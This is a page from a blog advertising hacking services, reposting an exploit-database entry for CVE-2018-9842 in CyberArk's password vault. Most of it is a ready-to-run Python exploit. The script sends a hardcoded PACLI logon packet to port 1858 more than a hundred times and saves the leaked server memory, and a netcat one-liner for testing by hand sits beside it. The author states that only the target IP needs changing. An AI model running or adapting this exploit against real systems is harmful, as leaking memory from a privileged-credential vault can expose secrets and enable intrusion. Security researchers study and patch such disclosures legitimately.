Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86386994

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: CyberArk 9.7 - Memory Disclosure
# Date: 2018-06-04
# Exploit Author: Thomas Zuk (@Freakazoidile)
# Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/
# Version: < 9.7 and < 10
# Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10
# CVE: CVE-2018-9842

# Description: There currently exists a general advisory for the CVE with a description of exploitation and how 
# to reproduce, but without full exploit code. I have developed a working, reliable standalone Python exploit that 
# can be successfully used by modifying only the target IP address. Attached to this email submission is the working exploit code. 

#!/usr/bin/python

import socket
import os
import sys

# Exploit script for CVE-2018-9842
# Original vulnerability advisory: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015
# Author: Thomas Zuk (@Freakazoidile) - Security Consultant @ Packetlabs ltd.

# Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd
# paste the following bytes into a hexedited file named logon.bin:
#fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000
#
#

ip = "10.107.32.21"
port = 1858

# Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services.
# The below is a sample login request that is needed to receive the memory

pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00"


for iteration in range(0, 110):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(pacli_logon)

    # recieve response
    s.recv(200)
    reply = s.recv(1500)

    # write responses to file
    file = open("cyberark_memory", "a")

    file.write("received: \n")
    file.write(reply)
    file.write("\n\n\n")
    file.close()

    s.close()